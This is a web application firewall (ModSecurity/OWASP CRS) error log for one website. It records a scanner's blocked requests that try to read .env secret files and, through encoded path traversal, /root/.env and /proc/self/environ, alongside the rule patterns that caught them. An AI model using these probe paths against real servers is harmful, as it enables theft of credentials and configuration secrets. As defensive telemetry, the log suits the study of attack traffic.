[Sun Oct 25 21:38:30.220951 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6vFmkY-VB8B4bkBm4wzwAAAAs"]
[Sun Oct 25 21:38:30.221264 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at6vFmkY-VB8B4bkBm4wzwAAAAs"]
[Sun Oct 25 21:38:30.309010 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlUwAAAAM"]
[Sun Oct 25 21:38:30.309587 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlUwAAAAM"]
[Sun Oct 25 21:38:30.309914 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlUwAAAAM"]
[Sun Oct 25 21:38:30.339082 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFkokKmMLT537ELOlSAAAAAg"]
[Sun Oct 25 21:38:30.339569 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFkokKmMLT537ELOlSAAAAAg"]
[Sun Oct 25 21:38:30.339905 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFkokKmMLT537ELOlSAAAAAg"]
[Sun Oct 25 21:38:30.407123 2026] [authz_core:error] [pid 2919322:tid 2919322] [client 34.80.240.124:49608] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 21:38:30.408874 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHAAAABE"]
[Sun Oct 25 21:38:30.408953 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHAAAABE"]
[Sun Oct 25 21:38:30.409280 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHAAAABE"]
[Sun Oct 25 21:38:30.409547 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHAAAABE"]
[Sun Oct 25 21:38:30.516218 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlVAAAAAM"]
[Sun Oct 25 21:38:30.516890 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlVAAAAAM"]
[Sun Oct 25 21:38:30.517219 2026] [security2:error] [pid 2938168:tid 2938168] [client 34.80.240.124:49638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at6vFvdm2KTysO4I86nlVAAAAAM"]
[Sun Oct 25 21:38:30.554540 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.80.240.124:49664] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFhaKu-Zjs56a5J4rzAAAAAo"]
[Sun Oct 25 21:38:30.555028 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at6vFgPsVzpIp32jbe9FYQAAAAQ"]
[Sun Oct 25 21:38:30.555084 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.80.240.124:49664] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFhaKu-Zjs56a5J4rzAAAAAo"]
[Sun Oct 25 21:38:30.555411 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.80.240.124:49664] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at6vFhaKu-Zjs56a5J4rzAAAAAo"]
[Sun Oct 25 21:38:30.555548 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at6vFgPsVzpIp32jbe9FYQAAAAQ"]
[Sun Oct 25 21:38:30.555790 2026] [security2:error] [pid 2928659:tid 2928659] [client 34.80.240.124:49656] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at6vFgPsVzpIp32jbe9FYQAAAAQ"]
[Sun Oct 25 21:38:30.557885 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at6vFkokKmMLT537ELOlSQAAAAg"]
[Sun Oct 25 21:38:30.558282 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at6vFkokKmMLT537ELOlSQAAAAg"]
[Sun Oct 25 21:38:30.558526 2026] [security2:error] [pid 2934397:tid 2934397] [client 34.80.240.124:49658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at6vFkokKmMLT537ELOlSQAAAAg"]
[Sun Oct 25 21:38:30.586166 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.586281 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.586324 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.586386 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.586889 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.587237 2026] [security2:error] [pid 2938872:tid 2938872] [client 34.80.240.124:49696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at6vFmkY-VB8B4bkBm4w0AAAAAs"]
[Sun Oct 25 21:38:30.591965 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHQAAABE"]
[Sun Oct 25 21:38:30.592073 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHQAAABE"]
[Sun Oct 25 21:38:30.592632 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHQAAABE"]
[Sun Oct 25 21:38:30.592884 2026] [security2:error] [pid 2936922:tid 2936922] [client 34.80.240.124:49698] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at6vFpULOWoEMRW-pEzjHQAAABE"]
[Sun Oct 25 21:38:30.600285 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.80.240.124:49642] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at6vFpHtMtN5e4U4U0biPwAAAAI"]
